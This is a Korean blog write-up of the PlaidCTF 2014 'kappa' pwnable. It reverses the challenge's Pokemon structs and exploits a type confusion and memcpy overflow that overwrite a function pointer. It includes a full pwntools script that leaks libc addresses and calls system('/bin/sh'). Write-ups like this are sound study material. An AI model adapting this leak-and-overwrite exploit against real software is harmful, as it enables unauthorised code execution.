ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • PlaidCTF 2014 kappa
    Pwnable/CTF 2017. 3. 14. 18:38



    바이너리를 실행시키면 이런식으로 포켓몬 관련 메뉴가 나온다.


    일단 이 문제에서는 분석하는게 제일 힘들었다 .. 구조체로 나오는 문제를 별로보질못해서 .. 더 힘든문제였다.


    이 부분은 첫 번쨰 메뉴를 선택하고 함수호출 을 또한번 하는데 그쪽부분이다.


    보면 TYPE가 두 개로있는데 한가지는 BUF 가 0x214 또 다른 한가지는 0x888부분이다.


    그리고 아래 사진과 위 사진을 함께보면 구조체 형태를 알 수 있다. 

    buf + 132 부분을 보면 함수를 호출하는 구조체 배열인데 저 부분을 system 함수로 바꿀 수 있는 시나리오같다.



    저 HEX-RAY한 곳데로 + 544 ... , + 310 ... 으로 보면안되고, 저 부분을 그냥 어셈블리로 보면 0X880 등등 으로 보인다. 

    엄청 큰 수를 보니 딱 봐도 TYPE == 1일때 부분



    TYPE == 2 부분 구조체 모습이다.


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    struct KaKuNa { //TYPE == 2
     
    char name[14]
    char picture[501]
    char *heal (4byte)
    int *power (4byte)
    char **attack (4byte)
    char **function (4byte)
    }
     
    struct Charizard { //TYPE == 1
     
    char name[14]
    char picture[2153]
    int *heal (4byte)
    int *power (4byte)
    char **attack (4byte)
    char **function (4byte)
    }
     
    cs


    저 부분을 구조체형태로 보면 이렇다.


    저 TYPE 는 KAKUNA 6번 -> Charizard 1번 이 순서대로 나오는데 Charizard 로 KAKUNA를 덮어버리면 익스가 가능해진다. 

    익스가 가능해지는 이유는


    저기에 있는 memcpy로 구조체 중 두 번째 구조체배열인 char picture[] 부분을 덮어 줄 수 있다. (v4 + 15 부분이 picture 부분)





    그럼 TYPE를 어떻게 덮을 수 있냐면 이 쪽부분을 보면 포켓몬이 5마리가 다 찻을때 나오는 부분이다. 여기서는 MEMCMP 등 함수를 쓰지않고 '=' 으로 대입을 해서 포켓몬을 교체시키고, TYPE가 같은지 안같은지 검사를 안 하기 때문에 이 부분을 잘 사용하면 될것같다.




    구조체에서 HEAL, POWER는 INT형이라 못쓸것같고,

    ATTACK 부분을 변조시키면 메모리 릭이 가능하고 그것으로 시스템 함수를 구한다음 시스템 함수로 FUNCTION 부분을 덮어주면 될것같다.

    저 FUNCTION 부분에서 호출 하는 함수 인자는 NAME 부분이기 때문에 NAME에 /bin/sh를 넣어주면 된다.


    (메모리 릭과 최종 system("/bin/sh") 부분은 3번메뉴에서 할 수 있다.



    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    rom pwn import *
    import hexdump
    p=remote("localhost",9001)
    read_plt=0x08048510+0x2
    kakuna_print=0x08048766
     
    print p.recvuntil('5. Change Pokemon artwork\n')
    for i in range(0,6):
            p.sendline("1")
            print p.recvuntil('5. Change Pokemon artwork\n')
            p.sendline("1")
            print p.recvuntil('3. Run')
            p.sendline("2")
            print p.recvuntil('What would you like to name this Pokemon?\n')
            p.sendline("FUCK")
            if i>=4:
                    p.sendline("5")
     
    p.sendline("1")
    print p.recvuntil('3. Run')
     
    for i in range(0,4):
            p.sendline("1")
            print p.recvuntil('3. Run')
     
    p.sendline("2")
    print p.recvuntil('What would you like to name this Pokemon?')
    p.sendline('/bin/sh\00')
    p.sendline("5")
    __libc_start_main=0x080485d0
    print p.recvuntil('5. Change Pokemon artwork\n')
    p.sendline("5")
    print p.recvuntil('5. /bin/sh')
    payload="A"*509
    payload+=p32(read_plt)
    payload+=p32(kakuna_print)
    payload+="B"*2400
     
    p.sendline("5")
    p.sendline(payload)
     
    print p.recvuntil('5. Change Pokemon artwork\n')
    p.sendline("3")
     
    print p.recvuntil('Attack Power: 1094795585\nAttack: ')
    read=u32(p.recv(4))
    printf=u32(p.recv(4))
    free=u32(p.recv(4))
    p.sendline("3")
    print p.recv(4096)
    p.interactive()
     
    print "read Address: " + hex(read)
    print "printf Address: " + hex(printf)
    print "free Address: " + hex(free)
    system = read - 0x9b280
    print "system Address: " + hex(system)
     
    print p.recvuntil('5. Change Pokemon artwork\n')
    p.sendline("5")
    print p.recvuntil('5. /bin/sh')
    p.sendline("5")
    EPayload="A"*513
    EPayload+=p32(system)
    EPayload+="A"*2400
    p.sendline(EPayload)
     
    print p.recvuntil('5. Change Pokemon artwork\n')
    p.sendline("3")
    print p.recv(4096)
    p.interactive()
     
     
    cs


    read_plt + 0x2 부분을 넣으니 NULL 값 없이 printf, free함수 라이브러리 주소까지 출력을시켜서 신기했다.



    'Pwnable > CTF' 카테고리의 다른 글

    DEFCON 2017 smashme  (0) 2017.05.02
    BKPCTF cookbook  (0) 2017.03.31
    PlaidCTF 2014 EZHP  (2) 2017.03.10
    codegate 2017 messenger  (1) 2017.03.08
    WITHCON malloc  (0) 2017.03.03
Designed by Tistory.